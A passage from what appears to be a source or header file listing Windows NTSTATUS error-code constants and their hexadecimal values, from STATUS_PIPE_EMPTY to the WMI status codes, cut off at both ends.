0xC00000D8\nSTATUS_PIPE_EMPTY                                                 = 0xC00000D9\nSTATUS_CANT_ACCESS_DOMAIN_INFO                                    = 0xC00000DA\nSTATUS_CANT_TERMINATE_SELF                                        = 0xC00000DB\nSTATUS_INVALID_SERVER_STATE                                       = 0xC00000DC\nSTATUS_INVALID_DOMAIN_STATE                                       = 0xC00000DD\nSTATUS_INVALID_DOMAIN_ROLE                                        = 0xC00000DE\nSTATUS_NO_SUCH_DOMAIN                                             = 0xC00000DF\nSTATUS_DOMAIN_EXISTS                                              = 0xC00000E0\nSTATUS_DOMAIN_LIMIT_EXCEEDED                                      = 0xC00000E1\nSTATUS_OPLOCK_NOT_GRANTED                                         = 0xC00000E2\nSTATUS_INVALID_OPLOCK_PROTOCOL                                    = 0xC00000E3\nSTATUS_INTERNAL_DB_CORRUPTION                                     = 0xC00000E4\nSTATUS_INTERNAL_ERROR                                             = 0xC00000E5\nSTATUS_GENERIC_NOT_MAPPED                                         = 0xC00000E6\nSTATUS_BAD_DESCRIPTOR_FORMAT                                      = 0xC00000E7\nSTATUS_INVALID_USER_BUFFER                                        = 0xC00000E8\nSTATUS_UNEXPECTED_IO_ERROR                                        = 0xC00000E9\nSTATUS_UNEXPECTED_MM_CREATE_ERR                                   = 0xC00000EA\nSTATUS_UNEXPECTED_MM_MAP_ERROR                                    = 0xC00000EB\nSTATUS_UNEXPECTED_MM_EXTEND_ERR                                   = 0xC00000EC\nSTATUS_NOT_LOGON_PROCESS                                          = 0xC00000ED\nSTATUS_LOGON_SESSION_EXISTS                                       = 0xC00000EE\nSTATUS_INVALID_PARAMETER_1                                        = 0xC00000EF\nSTATUS_INVALID_PARAMETER_2                                        = 0xC00000F0\nSTATUS_INVALID_PARAMETER_3                                        = 0xC00000F1\nSTATUS_INVALID_PARAMETER_4                                        = 0xC00000F2\nSTATUS_INVALID_PARAMETER_5                                        = 0xC00000F3\nSTATUS_INVALID_PARAMETER_6                                        = 0xC00000F4\nSTATUS_INVALID_PARAMETER_7                                        = 0xC00000F5\nSTATUS_INVALID_PARAMETER_8                                        = 0xC00000F6\nSTATUS_INVALID_PARAMETER_9                                        = 0xC00000F7\nSTATUS_INVALID_PARAMETER_10                                       = 0xC00000F8\nSTATUS_INVALID_PARAMETER_11                                       = 0xC00000F9\nSTATUS_INVALID_PARAMETER_12                                       = 0xC00000FA\nSTATUS_REDIRECTOR_NOT_STARTED                                     = 0xC00000FB\nSTATUS_REDIRECTOR_STARTED                                         = 0xC00000FC\nSTATUS_STACK_OVERFLOW                                             = 0xC00000FD\nSTATUS_NO_SUCH_PACKAGE                                            = 0xC00000FE\nSTATUS_BAD_FUNCTION_TABLE                                         = 0xC00000FF\nSTATUS_VARIABLE_NOT_FOUND                                         = 0xC0000100\nSTATUS_DIRECTORY_NOT_EMPTY                                        = 0xC0000101\nSTATUS_FILE_CORRUPT_ERROR                                         = 0xC0000102\nSTATUS_NOT_A_DIRECTORY                                            = 0xC0000103\nSTATUS_BAD_LOGON_SESSION_STATE                                    = 0xC0000104\nSTATUS_LOGON_SESSION_COLLISION                                    = 0xC0000105\nSTATUS_NAME_TOO_LONG                                              = 0xC0000106\nSTATUS_FILES_OPEN                                                 = 0xC0000107\nSTATUS_CONNECTION_IN_USE                                          = 0xC0000108\nSTATUS_MESSAGE_NOT_FOUND                                          = 0xC0000109\nSTATUS_PROCESS_IS_TERMINATING                                     = 0xC000010A\nSTATUS_INVALID_LOGON_TYPE                                         = 0xC000010B\nSTATUS_NO_GUID_TRANSLATION                                        = 0xC000010C\nSTATUS_CANNOT_IMPERSONATE                                         = 0xC000010D\nSTATUS_IMAGE_ALREADY_LOADED                                       = 0xC000010E\nSTATUS_NO_LDT                                                     = 0xC0000117\nSTATUS_INVALID_LDT_SIZE                                           = 0xC0000118\nSTATUS_INVALID_LDT_OFFSET                                         = 0xC0000119\nSTATUS_INVALID_LDT_DESCRIPTOR                                     = 0xC000011A\nSTATUS_INVALID_IMAGE_NE_FORMAT                                    = 0xC000011B\nSTATUS_RXACT_INVALID_STATE                                        = 0xC000011C\nSTATUS_RXACT_COMMIT_FAILURE                                       = 0xC000011D\nSTATUS_MAPPED_FILE_SIZE_ZERO                                      = 0xC000011E\nSTATUS_TOO_MANY_OPENED_FILES                                      = 0xC000011F\nSTATUS_CANCELLED                                                  = 0xC0000120\nSTATUS_CANNOT_DELETE                                              = 0xC0000121\nSTATUS_INVALID_COMPUTER_NAME                                      = 0xC0000122\nSTATUS_FILE_DELETED                                               = 0xC0000123\nSTATUS_SPECIAL_ACCOUNT                                            = 0xC0000124\nSTATUS_SPECIAL_GROUP                                              = 0xC0000125\nSTATUS_SPECIAL_USER                                               = 0xC0000126\nSTATUS_MEMBERS_PRIMARY_GROUP                                      = 0xC0000127\nSTATUS_FILE_CLOSED                                                = 0xC0000128\nSTATUS_TOO_MANY_THREADS                                           = 0xC0000129\nSTATUS_THREAD_NOT_IN_PROCESS                                      = 0xC000012A\nSTATUS_TOKEN_ALREADY_IN_USE                                       = 0xC000012B\nSTATUS_PAGEFILE_QUOTA_EXCEEDED                                    = 0xC000012C\nSTATUS_COMMITMENT_LIMIT                                           = 0xC000012D\nSTATUS_INVALID_IMAGE_LE_FORMAT                                    = 0xC000012E\nSTATUS_INVALID_IMAGE_NOT_MZ                                       = 0xC000012F\nSTATUS_INVALID_IMAGE_PROTECT                                      = 0xC0000130\nSTATUS_INVALID_IMAGE_WIN_16                                       = 0xC0000131\nSTATUS_LOGON_SERVER_CONFLICT                                      = 0xC0000132\nSTATUS_TIME_DIFFERENCE_AT_DC                                      = 0xC0000133\nSTATUS_SYNCHRONIZATION_REQUIRED                                   = 0xC0000134\nSTATUS_DLL_NOT_FOUND                                              = 0xC0000135\nSTATUS_OPEN_FAILED                                                = 0xC0000136\nSTATUS_IO_PRIVILEGE_FAILED                                        = 0xC0000137\nSTATUS_ORDINAL_NOT_FOUND                                          = 0xC0000138\nSTATUS_ENTRYPOINT_NOT_FOUND                                       = 0xC0000139\nSTATUS_CONTROL_C_EXIT                                             = 0xC000013A\nSTATUS_LOCAL_DISCONNECT                                           = 0xC000013B\nSTATUS_REMOTE_DISCONNECT                                          = 0xC000013C\nSTATUS_REMOTE_RESOURCES                                           = 0xC000013D\nSTATUS_LINK_FAILED                                                = 0xC000013E\nSTATUS_LINK_TIMEOUT                                               = 0xC000013F\nSTATUS_INVALID_CONNECTION                                         = 0xC0000140\nSTATUS_INVALID_ADDRESS                                            = 0xC0000141\nSTATUS_DLL_INIT_FAILED                                            = 0xC0000142\nSTATUS_MISSING_SYSTEMFILE                                         = 0xC0000143\nSTATUS_UNHANDLED_EXCEPTION                                        = 0xC0000144\nSTATUS_APP_INIT_FAILURE                                           = 0xC0000145\nSTATUS_PAGEFILE_CREATE_FAILED                                     = 0xC0000146\nSTATUS_NO_PAGEFILE                                                = 0xC0000147\nSTATUS_INVALID_LEVEL                                              = 0xC0000148\nSTATUS_WRONG_PASSWORD_CORE                                        = 0xC0000149\nSTATUS_ILLEGAL_FLOAT_CONTEXT                                      = 0xC000014A\nSTATUS_PIPE_BROKEN                                                = 0xC000014B\nSTATUS_REGISTRY_CORRUPT                                           = 0xC000014C\nSTATUS_REGISTRY_IO_FAILED                                         = 0xC000014D\nSTATUS_NO_EVENT_PAIR                                              = 0xC000014E\nSTATUS_UNRECOGNIZED_VOLUME                                        = 0xC000014F\nSTATUS_SERIAL_NO_DEVICE_INITED                                    = 0xC0000150\nSTATUS_NO_SUCH_ALIAS                                              = 0xC0000151\nSTATUS_MEMBER_NOT_IN_ALIAS                                        = 0xC0000152\nSTATUS_MEMBER_IN_ALIAS                                            = 0xC0000153\nSTATUS_ALIAS_EXISTS                                               = 0xC0000154\nSTATUS_LOGON_NOT_GRANTED                                          = 0xC0000155\nSTATUS_TOO_MANY_SECRETS                                           = 0xC0000156\nSTATUS_SECRET_TOO_LONG                                            = 0xC0000157\nSTATUS_INTERNAL_DB_ERROR                                          = 0xC0000158\nSTATUS_FULLSCREEN_MODE                                            = 0xC0000159\nSTATUS_TOO_MANY_CONTEXT_IDS                                       = 0xC000015A\nSTATUS_LOGON_TYPE_NOT_GRANTED                                     = 0xC000015B\nSTATUS_NOT_REGISTRY_FILE                                          = 0xC000015C\nSTATUS_NT_CROSS_ENCRYPTION_REQUIRED                               = 0xC000015D\nSTATUS_DOMAIN_CTRLR_CONFIG_ERROR                                  = 0xC000015E\nSTATUS_FT_MISSING_MEMBER                                          = 0xC000015F\nSTATUS_ILL_FORMED_SERVICE_ENTRY                                   = 0xC0000160\nSTATUS_ILLEGAL_CHARACTER                                          = 0xC0000161\nSTATUS_UNMAPPABLE_CHARACTER                                       = 0xC0000162\nSTATUS_UNDEFINED_CHARACTER                                        = 0xC0000163\nSTATUS_FLOPPY_VOLUME                                              = 0xC0000164\nSTATUS_FLOPPY_ID_MARK_NOT_FOUND                                   = 0xC0000165\nSTATUS_FLOPPY_WRONG_CYLINDER                                      = 0xC0000166\nSTATUS_FLOPPY_UNKNOWN_ERROR                                       = 0xC0000167\nSTATUS_FLOPPY_BAD_REGISTERS                                       = 0xC0000168\nSTATUS_DISK_RECALIBRATE_FAILED                                    = 0xC0000169\nSTATUS_DISK_OPERATION_FAILED                                      = 0xC000016A\nSTATUS_DISK_RESET_FAILED                                          = 0xC000016B\nSTATUS_SHARED_IRQ_BUSY                                            = 0xC000016C\nSTATUS_FT_ORPHANING                                               = 0xC000016D\nSTATUS_BIOS_FAILED_TO_CONNECT_INTERRUPT                           = 0xC000016E\nSTATUS_PARTITION_FAILURE                                          = 0xC0000172\nSTATUS_INVALID_BLOCK_LENGTH                                       = 0xC0000173\nSTATUS_DEVICE_NOT_PARTITIONED                                     = 0xC0000174\nSTATUS_UNABLE_TO_LOCK_MEDIA                                       = 0xC0000175\nSTATUS_UNABLE_TO_UNLOAD_MEDIA                                     = 0xC0000176\nSTATUS_EOM_OVERFLOW                                               = 0xC0000177\nSTATUS_NO_MEDIA                                                   = 0xC0000178\nSTATUS_NO_SUCH_MEMBER                                             = 0xC000017A\nSTATUS_INVALID_MEMBER                                             = 0xC000017B\nSTATUS_KEY_DELETED                                                = 0xC000017C\nSTATUS_NO_LOG_SPACE                                               = 0xC000017D\nSTATUS_TOO_MANY_SIDS                                              = 0xC000017E\nSTATUS_LM_CROSS_ENCRYPTION_REQUIRED                               = 0xC000017F\nSTATUS_KEY_HAS_CHILDREN                                           = 0xC0000180\nSTATUS_CHILD_MUST_BE_VOLATILE                                     = 0xC0000181\nSTATUS_DEVICE_CONFIGURATION_ERROR                                 = 0xC0000182\nSTATUS_DRIVER_INTERNAL_ERROR                                      = 0xC0000183\nSTATUS_INVALID_DEVICE_STATE                                       = 0xC0000184\nSTATUS_IO_DEVICE_ERROR                                            = 0xC0000185\nSTATUS_DEVICE_PROTOCOL_ERROR                                      = 0xC0000186\nSTATUS_BACKUP_CONTROLLER                                          = 0xC0000187\nSTATUS_LOG_FILE_FULL                                              = 0xC0000188\nSTATUS_TOO_LATE                                                   = 0xC0000189\nSTATUS_NO_TRUST_LSA_SECRET                                        = 0xC000018A\nSTATUS_NO_TRUST_SAM_ACCOUNT                                       = 0xC000018B\nSTATUS_TRUSTED_DOMAIN_FAILURE                                     = 0xC000018C\nSTATUS_TRUSTED_RELATIONSHIP_FAILURE                               = 0xC000018D\nSTATUS_EVENTLOG_FILE_CORRUPT                                      = 0xC000018E\nSTATUS_EVENTLOG_CANT_START                                        = 0xC000018F\nSTATUS_TRUST_FAILURE                                              = 0xC0000190\nSTATUS_MUTANT_LIMIT_EXCEEDED                                      = 0xC0000191\nSTATUS_NETLOGON_NOT_STARTED                                       = 0xC0000192\nSTATUS_ACCOUNT_EXPIRED                                            = 0xC0000193\nSTATUS_POSSIBLE_DEADLOCK                                          = 0xC0000194\nSTATUS_NETWORK_CREDENTIAL_CONFLICT                                = 0xC0000195\nSTATUS_REMOTE_SESSION_LIMIT                                       = 0xC0000196\nSTATUS_EVENTLOG_FILE_CHANGED                                      = 0xC0000197\nSTATUS_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT                          = 0xC0000198\nSTATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT                          = 0xC0000199\nSTATUS_NOLOGON_SERVER_TRUST_ACCOUNT                               = 0xC000019A\nSTATUS_DOMAIN_TRUST_INCONSISTENT                                  = 0xC000019B\nSTATUS_FS_DRIVER_REQUIRED                                         = 0xC000019C\nSTATUS_IMAGE_ALREADY_LOADED_AS_DLL                                = 0xC000019D\nSTATUS_INCOMPATIBLE_WITH_GLOBAL_SHORT_NAME_REGISTRY_SETTING       = 0xC000019E\nSTATUS_SHORT_NAMES_NOT_ENABLED_ON_VOLUME                          = 0xC000019F\nSTATUS_SECURITY_STREAM_IS_INCONSISTENT                            = 0xC00001A0\nSTATUS_INVALID_LOCK_RANGE                                         = 0xC00001A1\nSTATUS_INVALID_ACE_CONDITION                                      = 0xC00001A2\nSTATUS_IMAGE_SUBSYSTEM_NOT_PRESENT                                = 0xC00001A3\nSTATUS_NOTIFICATION_GUID_ALREADY_DEFINED                          = 0xC00001A4\nSTATUS_NETWORK_OPEN_RESTRICTION                                   = 0xC0000201\nSTATUS_NO_USER_SESSION_KEY                                        = 0xC0000202\nSTATUS_USER_SESSION_DELETED                                       = 0xC0000203\nSTATUS_RESOURCE_LANG_NOT_FOUND                                    = 0xC0000204\nSTATUS_INSUFF_SERVER_RESOURCES                                    = 0xC0000205\nSTATUS_INVALID_BUFFER_SIZE                                        = 0xC0000206\nSTATUS_INVALID_ADDRESS_COMPONENT                                  = 0xC0000207\nSTATUS_INVALID_ADDRESS_WILDCARD                                   = 0xC0000208\nSTATUS_TOO_MANY_ADDRESSES                                         = 0xC0000209\nSTATUS_ADDRESS_ALREADY_EXISTS                                     = 0xC000020A\nSTATUS_ADDRESS_CLOSED                                             = 0xC000020B\nSTATUS_CONNECTION_DISCONNECTED                                    = 0xC000020C\nSTATUS_CONNECTION_RESET                                           = 0xC000020D\nSTATUS_TOO_MANY_NODES                                             = 0xC000020E\nSTATUS_TRANSACTION_ABORTED                                        = 0xC000020F\nSTATUS_TRANSACTION_TIMED_OUT                                      = 0xC0000210\nSTATUS_TRANSACTION_NO_RELEASE                                     = 0xC0000211\nSTATUS_TRANSACTION_NO_MATCH                                       = 0xC0000212\nSTATUS_TRANSACTION_RESPONDED                                      = 0xC0000213\nSTATUS_TRANSACTION_INVALID_ID                                     = 0xC0000214\nSTATUS_TRANSACTION_INVALID_TYPE                                   = 0xC0000215\nSTATUS_NOT_SERVER_SESSION                                         = 0xC0000216\nSTATUS_NOT_CLIENT_SESSION                                         = 0xC0000217\nSTATUS_CANNOT_LOAD_REGISTRY_FILE                                  = 0xC0000218\nSTATUS_DEBUG_ATTACH_FAILED                                        = 0xC0000219\nSTATUS_SYSTEM_PROCESS_TERMINATED                                  = 0xC000021A\nSTATUS_DATA_NOT_ACCEPTED                                          = 0xC000021B\nSTATUS_NO_BROWSER_SERVERS_FOUND                                   = 0xC000021C\nSTATUS_VDM_HARD_ERROR                                             = 0xC000021D\nSTATUS_DRIVER_CANCEL_TIMEOUT                                      = 0xC000021E\nSTATUS_REPLY_MESSAGE_MISMATCH                                     = 0xC000021F\nSTATUS_MAPPED_ALIGNMENT                                           = 0xC0000220\nSTATUS_IMAGE_CHECKSUM_MISMATCH                                    = 0xC0000221\nSTATUS_LOST_WRITEBEHIND_DATA                                      = 0xC0000222\nSTATUS_CLIENT_SERVER_PARAMETERS_INVALID                           = 0xC0000223\nSTATUS_PASSWORD_MUST_CHANGE                                       = 0xC0000224\nSTATUS_NOT_FOUND                                                  = 0xC0000225\nSTATUS_NOT_TINY_STREAM                                            = 0xC0000226\nSTATUS_RECOVERY_FAILURE                                           = 0xC0000227\nSTATUS_STACK_OVERFLOW_READ                                        = 0xC0000228\nSTATUS_FAIL_CHECK                                                 = 0xC0000229\nSTATUS_DUPLICATE_OBJECTID                                         = 0xC000022A\nSTATUS_OBJECTID_EXISTS                                            = 0xC000022B\nSTATUS_CONVERT_TO_LARGE                                           = 0xC000022C\nSTATUS_RETRY                                                      = 0xC000022D\nSTATUS_FOUND_OUT_OF_SCOPE                                         = 0xC000022E\nSTATUS_ALLOCATE_BUCKET                                            = 0xC000022F\nSTATUS_PROPSET_NOT_FOUND                                          = 0xC0000230\nSTATUS_MARSHALL_OVERFLOW                                          = 0xC0000231\nSTATUS_INVALID_VARIANT                                            = 0xC0000232\nSTATUS_DOMAIN_CONTROLLER_NOT_FOUND                                = 0xC0000233\nSTATUS_ACCOUNT_LOCKED_OUT                                         = 0xC0000234\nSTATUS_HANDLE_NOT_CLOSABLE                                        = 0xC0000235\nSTATUS_CONNECTION_REFUSED                                         = 0xC0000236\nSTATUS_GRACEFUL_DISCONNECT                                        = 0xC0000237\nSTATUS_ADDRESS_ALREADY_ASSOCIATED                                 = 0xC0000238\nSTATUS_ADDRESS_NOT_ASSOCIATED                                     = 0xC0000239\nSTATUS_CONNECTION_INVALID                                         = 0xC000023A\nSTATUS_CONNECTION_ACTIVE                                          = 0xC000023B\nSTATUS_NETWORK_UNREACHABLE                                        = 0xC000023C\nSTATUS_HOST_UNREACHABLE                                           = 0xC000023D\nSTATUS_PROTOCOL_UNREACHABLE                                       = 0xC000023E\nSTATUS_PORT_UNREACHABLE                                           = 0xC000023F\nSTATUS_REQUEST_ABORTED                                            = 0xC0000240\nSTATUS_CONNECTION_ABORTED                                         = 0xC0000241\nSTATUS_BAD_COMPRESSION_BUFFER                                     = 0xC0000242\nSTATUS_USER_MAPPED_FILE                                           = 0xC0000243\nSTATUS_AUDIT_FAILED                                               = 0xC0000244\nSTATUS_TIMER_RESOLUTION_NOT_SET                                   = 0xC0000245\nSTATUS_CONNECTION_COUNT_LIMIT                                     = 0xC0000246\nSTATUS_LOGIN_TIME_RESTRICTION                                     = 0xC0000247\nSTATUS_LOGIN_WKSTA_RESTRICTION                                    = 0xC0000248\nSTATUS_IMAGE_MP_UP_MISMATCH                                       = 0xC0000249\nSTATUS_INSUFFICIENT_LOGON_INFO                                    = 0xC0000250\nSTATUS_BAD_DLL_ENTRYPOINT                                         = 0xC0000251\nSTATUS_BAD_SERVICE_ENTRYPOINT                                     = 0xC0000252\nSTATUS_LPC_REPLY_LOST                                             = 0xC0000253\nSTATUS_IP_ADDRESS_CONFLICT1                                       = 0xC0000254\nSTATUS_IP_ADDRESS_CONFLICT2                                       = 0xC0000255\nSTATUS_REGISTRY_QUOTA_LIMIT                                       = 0xC0000256\nSTATUS_PATH_NOT_COVERED                                           = 0xC0000257\nSTATUS_NO_CALLBACK_ACTIVE                                         = 0xC0000258\nSTATUS_LICENSE_QUOTA_EXCEEDED                                     = 0xC0000259\nSTATUS_PWD_TOO_SHORT                                              = 0xC000025A\nSTATUS_PWD_TOO_RECENT                                             = 0xC000025B\nSTATUS_PWD_HISTORY_CONFLICT                                       = 0xC000025C\nSTATUS_PLUGPLAY_NO_DEVICE                                         = 0xC000025E\nSTATUS_UNSUPPORTED_COMPRESSION                                    = 0xC000025F\nSTATUS_INVALID_HW_PROFILE                                         = 0xC0000260\nSTATUS_INVALID_PLUGPLAY_DEVICE_PATH                               = 0xC0000261\nSTATUS_DRIVER_ORDINAL_NOT_FOUND                                   = 0xC0000262\nSTATUS_DRIVER_ENTRYPOINT_NOT_FOUND                                = 0xC0000263\nSTATUS_RESOURCE_NOT_OWNED                                         = 0xC0000264\nSTATUS_TOO_MANY_LINKS                                             = 0xC0000265\nSTATUS_QUOTA_LIST_INCONSISTENT                                    = 0xC0000266\nSTATUS_FILE_IS_OFFLINE                                            = 0xC0000267\nSTATUS_EVALUATION_EXPIRATION                                      = 0xC0000268\nSTATUS_ILLEGAL_DLL_RELOCATION                                     = 0xC0000269\nSTATUS_LICENSE_VIOLATION                                          = 0xC000026A\nSTATUS_DLL_INIT_FAILED_LOGOFF                                     = 0xC000026B\nSTATUS_DRIVER_UNABLE_TO_LOAD                                      = 0xC000026C\nSTATUS_DFS_UNAVAILABLE                                            = 0xC000026D\nSTATUS_VOLUME_DISMOUNTED                                          = 0xC000026E\nSTATUS_WX86_INTERNAL_ERROR                                        = 0xC000026F\nSTATUS_WX86_FLOAT_STACK_CHECK                                     = 0xC0000270\nSTATUS_VALIDATE_CONTINUE                                          = 0xC0000271\nSTATUS_NO_MATCH                                                   = 0xC0000272\nSTATUS_NO_MORE_MATCHES                                            = 0xC0000273\nSTATUS_NOT_A_REPARSE_POINT                                        = 0xC0000275\nSTATUS_IO_REPARSE_TAG_INVALID                                     = 0xC0000276\nSTATUS_IO_REPARSE_TAG_MISMATCH                                    = 0xC0000277\nSTATUS_IO_REPARSE_DATA_INVALID                                    = 0xC0000278\nSTATUS_IO_REPARSE_TAG_NOT_HANDLED                                 = 0xC0000279\nSTATUS_REPARSE_POINT_NOT_RESOLVED                                 = 0xC0000280\nSTATUS_DIRECTORY_IS_A_REPARSE_POINT                               = 0xC0000281\nSTATUS_RANGE_LIST_CONFLICT                                        = 0xC0000282\nSTATUS_SOURCE_ELEMENT_EMPTY                                       = 0xC0000283\nSTATUS_DESTINATION_ELEMENT_FULL                                   = 0xC0000284\nSTATUS_ILLEGAL_ELEMENT_ADDRESS                                    = 0xC0000285\nSTATUS_MAGAZINE_NOT_PRESENT                                       = 0xC0000286\nSTATUS_REINITIALIZATION_NEEDED                                    = 0xC0000287\nSTATUS_ENCRYPTION_FAILED                                          = 0xC000028A\nSTATUS_DECRYPTION_FAILED                                          = 0xC000028B\nSTATUS_RANGE_NOT_FOUND                                            = 0xC000028C\nSTATUS_NO_RECOVERY_POLICY                                         = 0xC000028D\nSTATUS_NO_EFS                                                     = 0xC000028E\nSTATUS_WRONG_EFS                                                  = 0xC000028F\nSTATUS_NO_USER_KEYS                                               = 0xC0000290\nSTATUS_FILE_NOT_ENCRYPTED                                         = 0xC0000291\nSTATUS_NOT_EXPORT_FORMAT                                          = 0xC0000292\nSTATUS_FILE_ENCRYPTED                                             = 0xC0000293\nSTATUS_WMI_GUID_NOT_FOUND                                         = 0xC0000295\nSTATUS_WMI_INSTANCE_NOT_FOUND                                     = 0xC0000296\nSTATUS_WMI_ITEMID_NOT_FOUND                                       = 0xC0000297\nSTATUS_WMI_TRY_AGAIN                                              = 0xC0000298\nSTATUS_SHARED_POLICY                                              = 0xC0000299\nSTATUS_POLICY_OBJECT_NOT_FOUND                                    = 0xC000029A\nSTATUS_POLICY_ONLY_IN_DS                                          = 0xC000029B\nSTATUS_VOLUME_NOT_UPGRADED                                        = 0xC000029C\nSTATUS_REMOTE_STORAGE_NOT_ACTIVE                                  = 0xC000029D\nSTATUS_REMOTE_STORAGE_MEDIA_ERROR                                 = 0xC000029E\nSTATUS_NO_TRACKING_SERVICE                                        = 0xC000029F\nSTATUS_SERVER_SID_MISMATCH                                        = 0xC00002A0\nSTATUS_DS_NO_ATTRIBUTE_OR_VALUE                                   = 0xC00002A1\nSTATUS_DS_INVALID_ATTRIBUTE_SYNTAX                                = 0xC00002A2\nSTATUS_DS_ATTRIBUTE_TYPE_UNDEFINED                                = 0xC00002A3\nSTATUS_DS_ATTRIBUTE_OR_VALUE_EXISTS                               = 0xC00002A4\nSTATUS_DS_BUSY                                                    = 0xC00002A5\nSTATUS_DS_UNAVAILABLE                                             = 0xC00002A6\nSTATUS_DS_NO_RIDS_ALLOCATED                                       = 0xC00002A7\nSTATUS_DS_NO_MORE_RIDS                                            = 0xC00002A8\nSTATUS_DS_INCORRECT_ROLE_OWNER                                    = 0xC00002A9\nSTATUS_DS_RIDMGR_INIT_ERROR                                       = 0xC00002AA\nSTATUS_DS_OBJ_CLASS_VIOLATION                                     = 0xC00002AB\nSTATUS_DS_CANT_ON_NON_LEAF                                        = 0xC00002AC\nSTATUS_DS_CANT_ON_RDN                                             = 0xC00002AD\nSTATUS_DS_CANT_MOD_OBJ_CLASS                                      = 0xC00002AE\nSTATUS_DS_CROSS_DOM_MOVE_FAILED                                   = 0xC00002AF\nSTATUS_DS_GC_NOT_AVAILABLE                                        = 0xC00002B0\nSTATUS_DIRECTORY_SERVICE_REQUIRED                                 = 0xC00002B1\nSTATUS_REPARSE_ATTRIBUTE_CONFLICT                                 = 0xC00002B2\nSTATUS_CANT_ENABLE_DENY_ONLY                                      = 0xC00002B3\nSTATUS_FLOAT_MULTIPLE_FAULTS                                      = 0xC00002B4\nSTATUS_FLOAT_MULTIPLE_TRAPS                                       = 0xC00002B5\nSTATUS_DEVICE_REMOVED                                             = 0xC00002B6\nSTATUS_JOURNAL_DELETE_IN_PROGRESS                                 = 0xC00002B7\nSTATUS_JOURNAL_NOT_ACTIVE                                         = 0xC00002B8\nSTATUS_NOINTERFACE                                                = 0xC00002B9\nSTATUS_DS_ADMIN_LIMIT_EXCEEDED                                    = 0xC00002C1\nSTATUS_DRIVER_FAILED_SLEEP                                        = 0xC00002C2\nSTATUS_MUTUAL_AUTHENTICATION_FAILED                               = 0xC00002C3\nSTATUS_CORRUPT_SYSTEM_FILE                                        = 0xC00002C4\nSTATUS_DATATYPE_MISALIGNMENT_ERROR                                = 0xC00002C5\nSTATUS_WMI_READ_ONLY                                              = 0xC00002C6\nSTATUS_WMI_SET_FAILURE                                            = 0xC00002C7\nSTATUS_COMMITMENT_MINIMUM                                         = 0xC00002C8\nSTATUS_REG_NAT_CONSUMPTION                                        = 0xC00002C9\nSTATUS_TRANSPORT_FULL                                             = 0xC00002CA\nSTATUS_DS_SAM_INIT_FAILURE                                        = 0xC00002CB\nSTATUS_ONLY_IF_CONNECTED                                          = 0xC00002CC\nSTATUS_DS_SENSITIVE_GROUP_VIOLATION                               = 0xC00002CD\nSTATUS_PNP_RESTART_ENUMERATION                                    = 0xC00002CE\nSTATUS_JOURNAL_ENTRY_DELETED                                      = 0xC00002CF\nSTATUS_DS_CANT_MOD_PRIMARYGROUPID                                 = 0xC00002D0\nSTATUS_SYSTEM_IMAGE_BAD_SIGNATURE                                 = 0xC00002D1\nSTATUS_PNP_REBOOT_REQUIRED                                        = 0xC00002D2\nSTATUS_POWER_STATE_INVALID                                        = 0xC00002D3\nSTATUS_DS_INVALID_GROUP_TYPE                                      = 0xC00002D4\nSTATUS_DS_NO_NEST_GLOBALGROUP_IN_MIXEDDOMAIN                      = 0xC00002D5\nSTATUS_DS_NO_NEST_LOCALGROUP_IN_MIXEDDOMAIN                       = 0xC00002D6\nSTATUS_DS_GLOBAL_CANT_HAVE_LOCAL_MEMBER                           = 0xC00002D7\nSTATUS_DS_GLOBAL_CANT_HAVE_UNIVERSAL_MEMBER                       = 0xC00002D8\nSTATUS_DS_UNIVERSAL_CANT_HAVE_LOCAL_MEMBER                        = 0xC00002D9\nSTATUS_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER                     = 0xC00002DA\nSTATUS_DS_LOCAL_CANT_HAVE_CROSSDOMAIN_LOCAL_MEMBER                = 0xC00002DB\nSTATUS_DS_HAVE_PRIMARY_MEMBERS                                    = 0xC00002DC\nSTATUS_WMI_NOT_SUPPORTED                                          = 0xC00002DD\nSTATUS_INSUFFICIENT_POWER                                         = 0xC00002DE\nSTATUS_SAM_NEED_BOOTKEY_PASSWORD                                  = 0xC00002DF\nSTATUS_SAM_NEED_BOOTKEY_FLOPPY                                    = 0xC00002E0\nSTATUS_DS_CANT_START                                              = 0xC00002E1\nSTATUS_DS_INIT_FAILURE                                            = 0xC00002E2\nSTATUS_SAM_INIT_FAILURE                                           = 0xC00002E3\nSTATUS_DS_GC_REQUIRED                                             = 0xC00002E4\nSTATUS_DS_LOCAL_MEMBER_OF_LOCAL_ONLY                              = 0xC00002E5\nSTATUS_DS_NO_FPO_IN_UNIVERSAL_GROUPS                              = 0xC00002E6\nSTATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED                          = 0xC00002E7\nSTATUS_CURRENT_DOMAIN_NOT_ALLOWED                                 = 0xC00002E9\nSTATUS_CANNOT_MAKE                                                = 0xC00002EA\nSTATUS_SYSTEM_SHUTDOWN                                            = 0xC00002EB\nSTATUS_DS_INIT_FAILURE_CONSOLE                                    = 0xC00002EC\nSTATUS_DS_SAM_INIT_FAILURE_CONSOLE                                = 0xC00002ED\nSTATUS_UNFINISHED_CONTEXT_DELETED                                 = 0xC00002EE\nSTATUS_NO_TGT_REPLY                                               = 0xC00002EF\nSTATUS_OBJECTID_NOT_FOUND                                         = 0xC00002F0\nSTATUS_NO_IP_ADDRESSES                                            = 0xC00002F1\nSTATUS_WRONG_CREDENTIAL_HANDLE                                    = 0xC00002F2\nSTATUS_CRYPTO_SYSTEM_INVALID                                      = 0xC00002F3\nSTATUS_MAX_REFERRALS_EXCEEDED                                     = 0xC00002F4\nSTATUS_MUST_BE_KDC                                                = 0xC00002F5\nSTATUS_STRONG_CRYPTO_NOT_SUPPORTED                                = 0xC00002F6\nSTATUS_TOO_MANY_PRINCIPALS                                        = 0xC00002F7\nSTATUS_NO_PA_DATA                                                 = 0xC00002F8\nSTATUS_PKINIT_NAME_MISMATCH                                       = 0xC00002F9\nSTATUS_SMARTCARD_LOGON_REQUIRED                                   = 0xC00002FA\nSTATUS_KDC_INVALID_REQUEST                                        = 0xC00002FB\nSTATUS_KDC_UNABLE_TO_REFER                                        = 0xC00002FC\nSTATUS_KDC_UNKNOWN_ETYPE                                          = 0xC00002FD\nSTATUS_SHUTDOWN_IN_PROGRESS                                       = 0xC00002FE\nSTATUS_SERVER_SHUTDOWN_IN_PROGRESS                                = 0xC00002FF\nSTATUS_NOT_SUPPORTED_ON_SBS                                       = 0xC0000300\nSTATUS_WMI_GUID_DISCONNECTED                                      = 0xC0000301\nSTATUS_WMI_ALREADY_DISABLED                                       = 